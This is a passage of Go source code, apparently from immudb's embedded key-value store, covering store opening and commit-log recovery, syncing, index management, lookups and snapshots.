License. */ package store import ( "bytes" "container/list" "context" "crypto/sha256" "encoding/binary" "encoding/hex" "errors" "fmt" "io" "io/fs" "os" "path/filepath" "sync" "time" "github.com/codenotary/immudb/embedded" "github.com/codenotary/immudb/embedded/ahtree" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/codenotary/immudb/embedded/appendable/singleapp" "github.com/codenotary/immudb/embedded/cache" "github.com/codenotary/immudb/embedded/htree" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/multierr" "github.com/codenotary/immudb/embedded/tbtree" "github.com/codenotary/immudb/embedded/watchers" "github.com/codenotary/immudb/pkg/helpers/semaphore" "github.com/codenotary/immudb/pkg/helpers/slices" ) var ErrIllegalArguments = embedded.ErrIllegalArguments var ErrInvalidOptions = fmt.Errorf("%w: invalid options", ErrIllegalArguments) var ErrAlreadyClosed = embedded.ErrAlreadyClosed var ErrUnexpectedLinkingError = errors.New("internal inconsistency between linear and binary linking") var ErrNoEntriesProvided = errors.New("no entries provided") var ErrWriteOnlyTx = errors.New("write-only transaction") var ErrReadOnlyTx = errors.New("read-only transaction") var ErrTxReadConflict = errors.New("tx read conflict") var ErrTxAlreadyCommitted = errors.New("tx already committed") var ErrMaxTxEntriesLimitExceeded = errors.New("max number of entries per tx exceeded") var ErrNullKey = errors.New("null key") var ErrMaxKeyLenExceeded = errors.New("max key length exceeded") var ErrMaxValueLenExceeded = errors.New("max value length exceeded") var ErrPreconditionFailed = errors.New("precondition failed") var ErrDuplicatedKey = errors.New("duplicated key") var ErrCannotUpdateKeyTransiency = errors.New("cannot change a non-transient key to transient or vice versa") var ErrMaxActiveTransactionsLimitExceeded = errors.New("max active transactions limit exceeded") var ErrMVCCReadSetLimitExceeded = errors.New("MVCC read-set limit exceeded") var ErrMaxConcurrencyLimitExceeded = errors.New("max concurrency limit exceeded") var ErrMaxIndexersLimitExceeded = errors.New("max indexers limit exceeded") var ErrPathIsNotADirectory = errors.New("path is not a directory") var ErrCorruptedTxData = errors.New("tx data is corrupted") var ErrCorruptedTxDataMaxTxEntriesExceeded = fmt.Errorf("%w: maximum number of TX entries exceeded", ErrCorruptedTxData) var ErrTxEntryIndexOutOfRange = errors.New("tx entry index out of range") var ErrCorruptedTxDataUnknownHeaderVersion = fmt.Errorf("%w: unknown TX header version", ErrCorruptedTxData) var ErrCorruptedTxDataMaxKeyLenExceeded = fmt.Errorf("%w: maximum key length exceeded", ErrCorruptedTxData) var ErrCorruptedTxDataDuplicateKey = fmt.Errorf("%w: duplicate key in a single TX", ErrCorruptedTxData) var ErrCorruptedData = errors.New("data is corrupted") var ErrCorruptedCLog = errors.New("commit-log is corrupted") var ErrCorruptedIndex = errors.New("corrupted index") var ErrTxSizeGreaterThanMaxTxSize = errors.New("tx size greater than max tx size") var ErrCorruptedAHtree = errors.New("appendable hash tree is corrupted") var ErrKeyNotFound = tbtree.ErrKeyNotFound // TODO: define error in store layer var ErrExpiredEntry = fmt.Errorf("%w: expired entry", ErrKeyNotFound) var ErrKeyAlreadyExists = errors.New("key already exists") var ErrTxNotFound = errors.New("tx not found") var ErrNoMoreEntries = tbtree.ErrNoMoreEntries // TODO: define error in store layer var ErrIllegalState = tbtree.ErrIllegalState // TODO: define error in store layer var ErrOffsetOutOfRange = tbtree.ErrOffsetOutOfRange // TODO: define error in store layer var ErrUnexpectedError = errors.New("unexpected error") var ErrUnsupportedTxVersion = errors.New("unsupported tx version") var ErrNewerVersionOrCorruptedData = errors.New("tx created with a newer version or data is corrupted") var ErrTxPoolExhausted = errors.New("transaction pool exhausted") var ErrInvalidPrecondition = errors.New("invalid precondition") var ErrInvalidPreconditionTooMany = fmt.Errorf("%w: too many preconditions", ErrInvalidPrecondition) var ErrInvalidPreconditionNull = fmt.Errorf("%w: null", ErrInvalidPrecondition) var ErrInvalidPreconditionNullKey = fmt.Errorf("%w: %v", ErrInvalidPrecondition, ErrNullKey) var ErrInvalidPreconditionMaxKeyLenExceeded = fmt.Errorf("%w: %v", ErrInvalidPrecondition, ErrMaxKeyLenExceeded) var ErrInvalidPreconditionInvalidTxID = fmt.Errorf("%w: invalid transaction ID", ErrInvalidPrecondition) var ErrSourceTxNewerThanTargetTx = fmt.Errorf("%w: source tx is newer than target tx", ErrIllegalArguments) var ErrCompactionDisabled = errors.New("compaction is disabled") var ErrMetadataUnsupported = errors.New( "metadata is unsupported when in 1.1 compatibility mode, " + "do not use metadata-related features such as expiration and logical deletion", ) var ErrUnsupportedTxHeaderVersion = errors.New("missing tx header serialization method") var ErrIllegalTruncationArgument = fmt.Errorf("%w: invalid truncation info", ErrIllegalArguments) var ErrTruncationInfoNotPresentInMetadata = errors.New("truncation info not present in metadata") var ErrInvalidProof = errors.New("invalid proof") var ErrIndexNotFound = errors.New("index not found") var ErrIndexAlreadyInitialized = errors.New("index already initialized") const MaxKeyLen = 1024 // assumed to be not lower than hash size const MaxParallelIO = 127 const cLogEntrySizeV1 = offsetSize + lszSize // tx offset + hdr size const cLogEntrySizeV2 = offsetSize + lszSize + sha256.Size // tx offset + hdr size + alh const txIDSize = 8 const tsSize = 8 const lszSize = 4 const sszSize = 2 const offsetSize = 8 // Version 2 includes `metaEmbeddedValues` and `metaPreallocFiles` into clog metadata const Version = 2 const MaxTxHeaderVersion = 1 const ( metaVersion = "VERSION" metaMaxTxEntries = "MAX_TX_ENTRIES" metaMaxKeyLen = "MAX_KEY_LEN" metaMaxValueLen = "MAX_VALUE_LEN" metaFileSize = "FILE_SIZE" metaEmbeddedValues = "EMBEDDED_VALUES" metaPreallocFiles = "PREALLOC_FILES" ) const indexDirname = "index" const ahtDirname = "aht" type ImmuStore struct { path string logger logger.Logger lastNotification time.Time notifyMutex sync.Mutex vLogs map[byte]*refVLog vLogUnlockedList *list.List vLogsCond *sync.Cond vLogCache *cache.Cache txLog appendable.Appendable txLogCache *cache.Cache cLog appendable.Appendable cLogEntrySize int cLogBuf *precommitBuffer committedTxID uint64 committedAlh [sha256.Size]byte inmemPrecommittedTxID uint64 inmemPrecommittedAlh [sha256.Size]byte precommittedTxLogSize int64 mandatoryMVCCUpToTxID uint64 commitStateRWMutex sync.RWMutex embeddedValues bool preallocFiles bool readOnly bool synced bool syncFrequency time.Duration maxActiveTransactions int mvccReadSetLimit int maxWaitees int maxConcurrency int maxIOConcurrency int maxTxEntries int maxKeyLen int maxValueLen int writeTxHeaderVersion int timeFunc TimeFunc multiIndexing bool useExternalCommitAllowance bool commitAllowedUpToTxID uint64 txPool TxPool waiteesMutex sync.Mutex waiteesCount int // current number of go-routines waiting for a tx to be indexed or committed _txbs []byte // pre-allocated buffer to support tx serialization _valBs [DefaultMaxValueLen]byte // pre-allocated buffer to support tx exportation _valBsMux sync.Mutex aht *ahtree.AHtree inmemPrecommitWHub *watchers.WatchersHub durablePrecommitWHub *watchers.WatchersHub commitWHub *watchers.WatchersHub indexers map[[sha256.Size]byte]*indexer nextIndexerID uint64 indexCache *cache.Cache memSemaphore *semaphore.Semaphore // used by indexers to control amount acquired of memory indexersMux sync.RWMutex opts *Options closed bool mutex sync.Mutex compactionDisabled bool } type refVLog struct { vLog appendable.Appendable unlockedRef *list.Element // unlockedRef == nil <-> vLog is locked } func Open(path string, opts *Options) (*ImmuStore, error) { err := opts.Validate() if err != nil { return nil, fmt.Errorf("%w: %v", ErrIllegalArguments, err) } finfo, err := os.Stat(path) if err != nil { if !os.IsNotExist(err) { return nil, err } err := os.Mkdir(path, opts.FileMode) if err != nil { return nil, err } } else if !finfo.IsDir() { return nil, ErrPathIsNotADirectory } metadata := appendable.NewMetadata(nil) metadata.PutInt(metaVersion, Version) metadata.PutBool(metaEmbeddedValues, opts.EmbeddedValues) metadata.PutBool(metaPreallocFiles, opts.PreallocFiles) metadata.PutInt(metaMaxTxEntries, opts.MaxTxEntries) metadata.PutInt(metaMaxKeyLen, opts.MaxKeyLen) metadata.PutInt(metaMaxValueLen, opts.MaxValueLen) metadata.PutInt(metaFileSize, opts.FileSize) appendableOpts := multiapp.DefaultOptions(). WithReadOnly(opts.ReadOnly). WithWriteBufferSize(opts.WriteBufferSize). WithRetryableSync(opts.Synced). WithAutoSync(true). WithFileSize(opts.FileSize). WithFileMode(opts.FileMode). WithMetadata(metadata.Bytes()) appFactory := opts.appFactory if appFactory == nil { appFactory = func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { path := filepath.Join(rootPath, subPath) return multiapp.Open(path, opts) } } appendableOpts.WithFileExt("tx") appendableOpts.WithPrealloc(opts.PreallocFiles) appendableOpts.WithCompressionFormat(appendable.NoCompression) appendableOpts.WithMaxOpenedFiles(opts.TxLogMaxOpenedFiles) txLog, err := appFactory(path, "tx", appendableOpts) if err != nil { return nil, fmt.Errorf("unable to open transaction log: %w", err) } metadata = appendable.NewMetadata(txLog.Metadata()) embeddedValues, ok := metadata.GetBool(metaEmbeddedValues) embeddedValues = ok && embeddedValues preallocFiles, ok := metadata.GetBool(metaPreallocFiles) preallocFiles = ok && preallocFiles appendableOpts.WithFileExt("txi") appendableOpts.WithFileSize(opts.FileSize) appendableOpts.WithPrealloc(preallocFiles) appendableOpts.WithCompressionFormat(appendable.NoCompression) appendableOpts.WithMaxOpenedFiles(opts.CommitLogMaxOpenedFiles) cLog, err := appFactory(path, "commit", appendableOpts) if err != nil { return nil, fmt.Errorf("unable to open commit-log: %w", err) } var vLogs []appendable.Appendable if !embeddedValues { vLogs = make([]appendable.Appendable, opts.MaxIOConcurrency) appendableOpts.WithFileExt("val") appendableOpts.WithFileSize(opts.FileSize) appendableOpts.WithPrealloc(false) appendableOpts.WithCompressionFormat(opts.CompressionFormat) appendableOpts.WithCompresionLevel(opts.CompressionLevel) appendableOpts.WithMaxOpenedFiles(opts.VLogMaxOpenedFiles) for i := 0; i < opts.MaxIOConcurrency; i++ { vLog, err := appFactory(path, fmt.Sprintf("val_%d", i), appendableOpts) if err != nil { return nil, err } vLogs[i] = vLog } } return OpenWith(path, vLogs, txLog, cLog, opts) } func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable.Appendable, opts *Options) (*ImmuStore, error) { if txLog == nil || cLog == nil { return nil, fmt.Errorf("%w: invalid txLog or cLog", ErrIllegalArguments) } err := opts.Validate() if err != nil { return nil, fmt.Errorf("%w: %s", ErrIllegalArguments, err) } metadata := appendable.NewMetadata(cLog.Metadata()) version, ok := metadata.GetInt(metaVersion) if !ok { return nil, fmt.Errorf("%w: can not read '%s' from metadata", ErrCorruptedCLog, "Version") } var cLogEntrySize int if version <= 1 { cLogEntrySize = cLogEntrySizeV1 } else { cLogEntrySize = cLogEntrySizeV2 } embeddedValues, ok := metadata.GetBool(metaEmbeddedValues) if !ok { if version >= 2 { return nil, fmt.Errorf("%w: can not read '%s' from metadata", ErrCorruptedCLog, "EmbeddedValues") } embeddedValues = false } preallocFiles, ok := metadata.GetBool(metaPreallocFiles) if !ok { if version >= 2 { return nil, fmt.Errorf("%w: can not read '%s' from metadata", ErrCorruptedCLog, "PreallocFiles") } preallocFiles = false } if (len(vLogs) == 0 && !embeddedValues) || (len(vLogs) != 0 && embeddedValues) { return nil, fmt.Errorf("%w: invalid vLogs", ErrIllegalArguments) } fileSize, ok := metadata.GetInt(metaFileSize) if !ok { return nil, fmt.Errorf("%w: can not read '%s' from metadata", ErrCorruptedCLog, "FileSize") } maxTxEntries, ok := metadata.GetInt(metaMaxTxEntries) if !ok { return nil, fmt.Errorf("%w: can not read '%s' from metadata", ErrCorruptedCLog, "MaxTxEntries") } maxKeyLen, ok := metadata.GetInt(metaMaxKeyLen) if !ok { return nil, fmt.Errorf("%w: can not read '%s' from metadata", ErrCorruptedCLog, "MaxKeyLen") } maxValueLen, ok := metadata.GetInt(metaMaxValueLen) if !ok { return nil, fmt.Errorf("%w: can not read '%s' from metadata", ErrCorruptedCLog, "MaxValueLen") } cLogSize, err := cLog.Size() if err != nil { return nil, fmt.Errorf("corrupted commit-log: could not get size: %w", err) } if !preallocFiles { rem := cLogSize % int64(cLogEntrySize) if rem > 0 { cLogSize -= rem err = cLog.SetOffset(cLogSize) if err != nil { return nil, fmt.Errorf("corrupted commit log: could not set offset: %w", err) } } } if preallocFiles { if cLogSize == 0 { return nil, fmt.Errorf("corrupted commit log: file should not be empty when file preallocation is enabled") } // find the last non-zeroed clogEntry left := int64(1) right := cLogSize / int64(cLogEntrySize) b := make([]byte, cLogEntrySize) zeroed := make([]byte, cLogEntrySize) for left < right { middle := left + ((right-left)+1)/2 _, err := cLog.ReadAt(b, (middle-1)*int64(cLogEntrySize)) if err != nil { return nil, fmt.Errorf("corrupted commit log: could not read the last commit: %w", err) } if bytes.Equal(b, zeroed) { // if cLogEntry is zeroed it's considered as preallocated right = middle - 1 } else { left = middle } } _, err := cLog.ReadAt(b, (left-1)*int64(cLogEntrySize)) if err != nil && !errors.Is(err, io.EOF) { return nil, fmt.Errorf("corrupted commit log: could not read the last commit: %w", err) } if bytes.Equal(b, zeroed) { cLogSize = 0 } else { cLogSize = left * int64(cLogEntrySize) } } var committedTxLogSize int64 var committedTxOffset int64 var committedTxSize int var committedTxID uint64 committedAlh := sha256.Sum256(nil) if cLogSize > 0 { b := make([]byte, cLogEntrySize) _, err := cLog.ReadAt(b[:], cLogSize-int64(cLogEntrySize)) if err != nil { return nil, fmt.Errorf("corrupted commit-log: could not read the last commit: %w", err) } committedTxOffset = int64(binary.BigEndian.Uint64(b[:])) committedTxSize = int(binary.BigEndian.Uint32(b[txIDSize:])) committedTxLogSize = committedTxOffset + int64(committedTxSize) committedTxID = uint64(cLogSize) / uint64(cLogEntrySize) if cLogEntrySize == cLogEntrySizeV2 { copy(committedAlh[:], b[txIDSize+lszSize:]) } txLogFileSize, err := txLog.Size() if err != nil { return nil, fmt.Errorf("corrupted transaction log: could not get size: %w", err) } if txLogFileSize < committedTxLogSize { return nil, fmt.Errorf("corrupted transaction log: size is too small: %w", ErrCorruptedTxData) } } txPool, err := newTxPool(txPoolOptions{ poolSize: opts.MaxConcurrency, maxTxEntries: maxTxEntries, maxKeyLen: maxKeyLen, preallocated: true, }) if err != nil { return nil, fmt.Errorf("invalid configuration, couldn't initialize transaction holder pool") } maxTxSize := maxTxSize(maxTxEntries, maxKeyLen, maxTxMetadataLen, maxKVMetadataLen) txbs := make([]byte, maxTxSize) if cLogSize > 0 { txReader := appendable.NewReaderFrom(txLog, committedTxOffset, committedTxSize) tx, _ := txPool.Alloc() err = tx.readFrom(txReader, false) if err != nil { txPool.Release(tx) return nil, fmt.Errorf("corrupted transaction log: could not read the last transaction: %w", err) } txPool.Release(tx) if cLogEntrySize == cLogEntrySizeV1 { committedAlh = tx.header.Alh() } if cLogEntrySize == cLogEntrySizeV2 { if committedAlh != tx.header.Alh() { return nil, fmt.Errorf("corrupted transaction log: digest mismatch in the last transaction: %w", err) } } } cLogBuf := newPrecommitBuffer(opts.MaxActiveTransactions) precommittedTxID := committedTxID precommittedAlh := committedAlh precommittedTxLogSize := committedTxLogSize // read pre-committed txs from txLog and insert into cLogBuf to continue with the commit process // txLog may be partially written, precommitted transactions loading is terminated if an inconsistency is found txReader := appendable.NewReaderFrom(txLog, precommittedTxLogSize, multiapp.DefaultReadBufferSize) tx, _ := txPool.Alloc() for { err = tx.readFrom(txReader, false) if errors.Is(err, io.EOF) { break } if err != nil { opts.logger.Infof("%v: discarding pre-committed transaction: %d", err, precommittedTxID+1) break } if tx.header.ID != precommittedTxID+1 || tx.header.PrevAlh != precommittedAlh { opts.logger.Infof("%v: discarding pre-committed transaction: %d", ErrCorruptedData, precommittedTxID+1) break } precommittedTxID++ precommittedAlh = tx.header.Alh() txSize := int(txReader.ReadCount() - (precommittedTxLogSize - committedTxLogSize)) err = cLogBuf.put(precommittedTxID, precommittedAlh, precommittedTxLogSize, txSize) if err != nil { txPool.Release(tx) return nil, fmt.Errorf("%v: while loading pre-committed transaction: %v", err, precommittedTxID+1) } precommittedTxLogSize += int64(txSize) } txPool.Release(tx) vLogsMap := make(map[byte]*refVLog, len(vLogs)) vLogUnlockedList := list.New() for i, vLog := range vLogs { e := vLogUnlockedList.PushBack(byte(i)) vLogsMap[byte(i)] = &refVLog{vLog: vLog, unlockedRef: e} } var vLogCache *cache.Cache if opts.VLogCacheSize > 0 { vLogCache, err = cache.NewCache(opts.VLogCacheSize) if err != nil { return nil, err } } ahtPath := filepath.Join(path, ahtDirname) ahtOpts := ahtree.DefaultOptions(). WithReadOnly(opts.ReadOnly). WithFileMode(opts.FileMode). WithFileSize(fileSize). WithRetryableSync(opts.Synced). WithAutoSync(true). WithWriteBufferSize(opts.AHTOpts.WriteBufferSize). WithSyncThld(opts.AHTOpts.SyncThld) if opts.appFactory != nil { ahtOpts.WithAppFactory(func(rootPath, subPath string, appOpts *multiapp.Options) (appendable.Appendable, error) { return opts.appFactory(path, filepath.Join(ahtDirname, subPath), appOpts) }) } aht, err := ahtree.Open(ahtPath, ahtOpts) if err != nil { return nil, fmt.Errorf("could not open aht: %w", err) } txLogCache, err := cache.NewCache(opts.TxLogCacheSize) // TODO: optionally it could include up to opts.MaxActiveTransactions upon start if err != nil { return nil, err } store := &ImmuStore{ path: path, logger: opts.logger, txLog: txLog, txLogCache: txLogCache, vLogs: vLogsMap, vLogUnlockedList: vLogUnlockedList, vLogsCond: sync.NewCond(&sync.Mutex{}), vLogCache: vLogCache, cLog: cLog, cLogEntrySize: cLogEntrySize, cLogBuf: cLogBuf, committedTxID: committedTxID, committedAlh: committedAlh, inmemPrecommittedTxID: precommittedTxID, inmemPrecommittedAlh: precommittedAlh, precommittedTxLogSize: precommittedTxLogSize, embeddedValues: embeddedValues, preallocFiles: preallocFiles, readOnly: opts.ReadOnly, synced: opts.Synced, syncFrequency: opts.SyncFrequency, maxActiveTransactions: opts.MaxActiveTransactions, mvccReadSetLimit: opts.MVCCReadSetLimit, maxWaitees: opts.MaxWaitees, maxConcurrency: opts.MaxConcurrency, maxIOConcurrency: opts.MaxIOConcurrency, maxTxEntries: maxTxEntries, maxKeyLen: maxKeyLen, maxValueLen: maxValueLen, writeTxHeaderVersion: opts.WriteTxHeaderVersion, timeFunc: opts.TimeFunc, multiIndexing: opts.MultiIndexing, indexers: make(map[[sha256.Size]byte]*indexer), memSemaphore: semaphore.New(uint64(opts.IndexOpts.MaxGlobalBufferedDataSize)), useExternalCommitAllowance: opts.UseExternalCommitAllowance, commitAllowedUpToTxID: committedTxID, aht: aht, inmemPrecommitWHub: watchers.New(0, opts.MaxActiveTransactions+1), // syncer (TODO: indexer may wait here instead) durablePrecommitWHub: watchers.New(0, opts.MaxActiveTransactions+opts.MaxWaitees), commitWHub: watchers.New(0, 1+opts.MaxActiveTransactions+opts.MaxWaitees), // including indexer txPool: txPool, _txbs: txbs, opts: opts, compactionDisabled: opts.CompactionDisabled, } if store.aht.Size() > precommittedTxID { err = store.aht.ResetSize(precommittedTxID) if err != nil { store.Close() return nil, fmt.Errorf("corrupted commit-log: can not truncate aht tree: %w", err) } } if store.aht.Size() == precommittedTxID { store.logger.Infof("binary-linking up to date at '%s'", store.path) } else { err = store.syncBinaryLinking() if err != nil { store.Close() return nil, fmt.Errorf("binary-linking syncing failed: %w", err) } } err = store.inmemPrecommitWHub.DoneUpto(precommittedTxID) if err != nil { store.Close() return nil, err } err = store.durablePrecommitWHub.DoneUpto(precommittedTxID) if err != nil { store.Close() return nil, err } err = store.commitWHub.DoneUpto(committedTxID) if err != nil { store.Close() return nil, err } if !store.multiIndexing { err := store.InitIndexing(&IndexSpec{}) if err != nil { store.Close() return nil, err } } if store.synced { go store.syncer() } return store, nil } func (s *ImmuStore) syncer() { for { committedTxID := s.LastCommittedTxID() // passive wait for one new transaction at least err := s.inmemPrecommitWHub.WaitFor(context.Background(), committedTxID+1) if errors.Is(err, watchers.ErrAlreadyClosed) { return } // TODO: waiting on earlier stages of transaction processing may also be possible prevLatestPrecommitedTx := committedTxID + 1 // TODO: parametrize concurrency evaluation for i := 0; i < 4; i++ { // give some time for more transactions to be precommitted time.Sleep(s.syncFrequency / 4) latestPrecommitedTx := s.LastPrecommittedTxID() if prevLatestPrecommitedTx == latestPrecommitedTx { // avoid waiting if there are no new transactions break } prevLatestPrecommitedTx = latestPrecommitedTx } // ensure durability err = s.sync() if errors.Is(err, ErrAlreadyClosed) || errors.Is(err, multiapp.ErrAlreadyClosed) || errors.Is(err, singleapp.ErrAlreadyClosed) || errors.Is(err, watchers.ErrAlreadyClosed) { return } if err != nil { s.notify(Error, true, "%s: while syncing transactions", err) } } } type NotificationType = int const NotificationWindow = 60 * time.Second const ( Info NotificationType = iota Warn Error ) func (s *ImmuStore) notify(nType NotificationType, mandatory bool, formattedMessage string, args ...interface{}) { s.notifyMutex.Lock() defer s.notifyMutex.Unlock() if mandatory || time.Since(s.lastNotification) > NotificationWindow { switch nType { case Info: { s.logger.Infof(formattedMessage, args...) } case Warn: { s.logger.Warningf(formattedMessage, args...) } case Error: { s.logger.Errorf(formattedMessage, args...) } } s.lastNotification = time.Now() } } func hasPrefix(key, prefix []byte) bool { return len(key) >= len(prefix) && bytes.Equal(prefix, key[:len(prefix)]) } func (s *ImmuStore) getIndexerFor(keyPrefix []byte) (*indexer, error) { s.indexersMux.RLock() defer s.indexersMux.RUnlock() for _, indexer := range s.indexers { if hasPrefix(keyPrefix, indexer.TargetPrefix()) { return indexer, nil } } return nil, ErrIndexNotFound } type IndexSpec struct { SourcePrefix []byte SourceEntryMapper EntryMapper TargetEntryMapper EntryMapper TargetPrefix []byte InjectiveMapping bool InitialTxID uint64 FinalTxID uint64 InitialTs int64 FinalTs int64 } func (s *ImmuStore) InitIndexing(spec *IndexSpec) error { if spec == nil { return ErrIllegalArguments } if len(spec.TargetPrefix) == 0 && len(spec.SourcePrefix) > 0 { return fmt.Errorf("%w: empty prefix can not have a source prefix", ErrIllegalArguments) } s.indexersMux.Lock() defer s.indexersMux.Unlock() indexPrefix := sha256.Sum256(spec.TargetPrefix) _, ok := s.indexers[indexPrefix] if ok { return ErrIndexAlreadyInitialized } var indexPath string if len(spec.TargetPrefix) == 0 { indexPath = filepath.Join(s.path, indexDirname) } else { encPrefix := hex.EncodeToString(spec.TargetPrefix) indexPath = filepath.Join(s.path, fmt.Sprintf("%s_%s", indexDirname, encPrefix)) } if s.indexCache == nil { c, err := cache.NewCache(s.opts.IndexOpts.CacheSize) if err != nil { return err } s.indexCache = c } indexer, err := newIndexer(indexPath, s, s.opts) if err != nil { return fmt.Errorf("%w: could not open indexer", err) } if indexer.Ts() > s.LastCommittedTxID() { return fmt.Errorf("%w: index size is too large", ErrCorruptedIndex) // TODO: if indexing is done on pre-committed txs, the index may be rollback to a previous snapshot where it was already synced // NOTE: compaction should preserve snapshot which are not synced... so to ensure rollback can be achieved } s.indexers[indexPrefix] = indexer indexer.init(spec) return nil } func (s *ImmuStore) CloseIndexing(prefix []byte) error { s.indexersMux.Lock() defer s.indexersMux.Unlock() indexPrefix := sha256.Sum256(prefix) indexer, ok := s.indexers[indexPrefix] if !ok { return fmt.Errorf("%w: index not found", ErrIndexNotFound) } err := indexer.Close() if err != nil { return err } delete(s.indexers, indexPrefix) return nil } func (s *ImmuStore) DeleteIndex(prefix []byte) error { s.indexersMux.Lock() defer s.indexersMux.Unlock() indexPrefix := sha256.Sum256(prefix) indexer, ok := s.indexers[indexPrefix] if !ok { return fmt.Errorf("%w: index not found", ErrIndexNotFound) } indexer.Close() delete(s.indexers, indexPrefix) s.logger.Infof("deleting index path: '%s' ...", indexer.path) return os.RemoveAll(indexer.path) } func (s *ImmuStore) GetBetween(ctx context.Context, key []byte, initialTxID uint64, finalTxID uint64) (valRef ValueRef, err error) { indexer, err := s.getIndexerFor(key) if err != nil { if errors.Is(err, ErrIndexNotFound) { return nil, ErrKeyNotFound } return nil, err } indexedVal, tx, hc, err := indexer.GetBetween(key, initialTxID, finalTxID) if err != nil { return nil, err } return s.valueRefFrom(tx, hc, indexedVal) } func (s *ImmuStore) Get(ctx context.Context, key []byte) (valRef ValueRef, err error) { return s.GetWithFilters(ctx, key, IgnoreExpired, IgnoreDeleted) } func (s *ImmuStore) GetWithFilters(ctx context.Context, key []byte, filters ...FilterFn) (valRef ValueRef, err error) { indexer, err := s.getIndexerFor(key) if err != nil { if errors.Is(err, ErrIndexNotFound) { return nil, ErrKeyNotFound } return nil, err } indexedVal, tx, hc, err := indexer.Get(key) if err != nil { return nil, err } valRef, err = s.valueRefFrom(tx, hc, indexedVal) if err != nil { return nil, err } now := time.Now() for _, filter := range filters { if filter == nil { return nil, fmt.Errorf("%w: invalid filter function", ErrIllegalArguments) } err = filter(valRef, now) if err != nil { return nil, err } } return valRef, nil } func (s *ImmuStore) GetWithPrefix(ctx context.Context, prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) { return s.GetWithPrefixAndFilters(ctx, prefix, neq, IgnoreExpired, IgnoreDeleted) } func (s *ImmuStore) GetWithPrefixAndFilters(ctx context.Context, prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) { indexer, err := s.getIndexerFor(prefix) if err != nil { if errors.Is(err, ErrIndexNotFound) { return nil, nil, ErrKeyNotFound } return nil, nil, err } key, indexedVal, tx, hc, err := indexer.GetWithPrefix(prefix, neq) if err != nil { return nil, nil, err } valRef, err = s.valueRefFrom(tx, hc, indexedVal) if err != nil { return nil, nil, err } now := time.Now() for _, filter := range filters { if filter == nil { return nil, nil, fmt.Errorf("%w: invalid filter function", ErrIllegalArguments) } err = filter(valRef, now) if err != nil { return nil, nil, err } } return key, valRef, nil } func (s *ImmuStore) History(key []byte, offset uint64, descOrder bool, limit int) (valRefs []ValueRef, hCount uint64, err error) { indexer, err := s.getIndexerFor(key) if err != nil { if errors.Is(err, ErrIndexNotFound) { return nil, 0, ErrKeyNotFound } return nil, 0, err } timedValues, hCount, err := indexer.History(key, offset, descOrder, limit) if err != nil { return nil, 0, err } valRefs = make([]ValueRef, len(timedValues)) rev := offset + 1 if descOrder { rev = hCount - offset } for i, timedValue := range timedValues { val, err := s.valueRefFrom(timedValue.Ts, rev, timedValue.Value) if err != nil { return nil, 0, err } valRefs[i] = val if descOrder { rev-- } else { rev++ } } return valRefs, hCount, nil } func (s *ImmuStore) MultiIndexingEnabled() bool { return s.multiIndexing } func (s *ImmuStore) UseTimeFunc(timeFunc TimeFunc) error { if timeFunc == nil { return ErrIllegalArguments } s.mutex.Lock() defer s.mutex.Unlock() s.timeFunc = timeFunc return nil } func (s *ImmuStore) NewTxHolderPool(poolSize int, preallocated bool) (TxPool, error) { return newTxPool(txPoolOptions{ poolSize: poolSize, maxTxEntries: s.maxTxEntries, maxKeyLen: s.maxKeyLen, preallocated: preallocated, }) } func (s *ImmuStore) syncSnapshot(prefix []byte) (*Snapshot, error) { indexer, err := s.getIndexerFor(prefix) if err != nil { return nil, err } snap, err := indexer.SyncSnapshot() if err != nil { return nil, err } return &Snapshot{ st: s, prefix: prefix, snap: snap, ts: time.Now(), }, nil } func (s *ImmuStore) Snapshot(prefix []byte) (*Snapshot, error) { indexer, err := s.getIndexerFor(prefix) if err != nil { return nil, err } snap, err := indexer.Snapshot() if err != nil { return nil, err } return &Snapshot{ st: s, prefix: prefix, snap: snap, ts: time.Now(), }, nil } // SnapshotMustIncludeTxID returns a new snapshot based on an existent dumped root (snapshot reuse). // Current root may be dumped if there are no previous root already stored on disk or if the dumped one was old enough. // If txID is 0, any snapshot may be used. func (s *ImmuStore) SnapshotMustIncludeTxID(ctx context.Context, prefix []byte, txID uint64) (*Snapshot, error) { return s.SnapshotMustIncludeTxIDWithRenewalPeriod(ctx, prefix, txID, 0) } // SnapshotMustIncludeTxIDWithRenewalPeriod returns a new snapshot based on an existent dumped root (snapshot reuse). // Current root may be dumped if there are no previous root already stored on disk or if the dumped one was old enough. // If txID is 0, any snapshot not older than renewalPeriod may be used. // If renewalPeriod is 0, renewal period is not taken into consideration func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context, prefix []byte, txID uint64, renewalPeriod time.Duration) (*Snapshot, error) { indexer, err := s.getIndexerFor(prefix) if err != nil { return nil, err } err = indexer.WaitForIndexingUpto(ctx, txID) if err != nil { return nil, err } snap, err := indexer.SnapshotMustIncludeTxIDWithRenewalPeriod(ctx, txID, renewalPeriod) if err != nil { return nil, err } return &Snapshot{ st: s, prefix: indexer.TargetPrefix(), snap: snap, ts: time.Now(), }, nil } func (s *ImmuStore) CommittedAlh() (uint64, [sha256.Size]byte) { s.commitStateRWMutex.RLock() defer s.commitStateRWMutex.RUnlock() return s.committedTxID, s.committedAlh } func (s *ImmuStore) PrecommittedAlh() (uint64, [sha256.Size]byte) { s.commitStateRWMutex.RLock() defer s.commitStateRWMutex.RUnlock() durablePrecommittedTxID, _, _ := s.durablePrecommitWHub.Status() if durablePrecommittedTxID == s.committedTxID { return s.committedTxID, s.committedAlh } if durablePrecommittedTxID == s.inmemPrecommittedTxID { return s.inmemPrecommittedTxID, s.inmemPrecommittedAlh } // fetch latest precommitted (durable) transaction from s.cLogBuf txID, alh, _, _, _ := s.cLogBuf.readAhead(int(durablePrecommittedTxID - s.committedTxID - 1)) return txID, alh } func (s *ImmuStore) precommittedAlh() (uint64, [sha256.Size]byte) { s.commitStateRWMutex.RLock() defer s.commitStateRWMutex.RUnlock() return s.inmemPrecommittedTxID, s.inmemPrecommittedAlh } func (s *ImmuStore) syncBinaryLinking() error { s.logger.Infof("syncing binary-linking at '%s'...", s.path) tx, err := s.fetchAllocTx() if err != nil { return err } defer s.releaseAllocTx(tx) txReader, err := s.newTxReader(s.aht.Size()+1, false, true, false, tx) if err != nil { return err } for { tx, err := txReader.Read() if 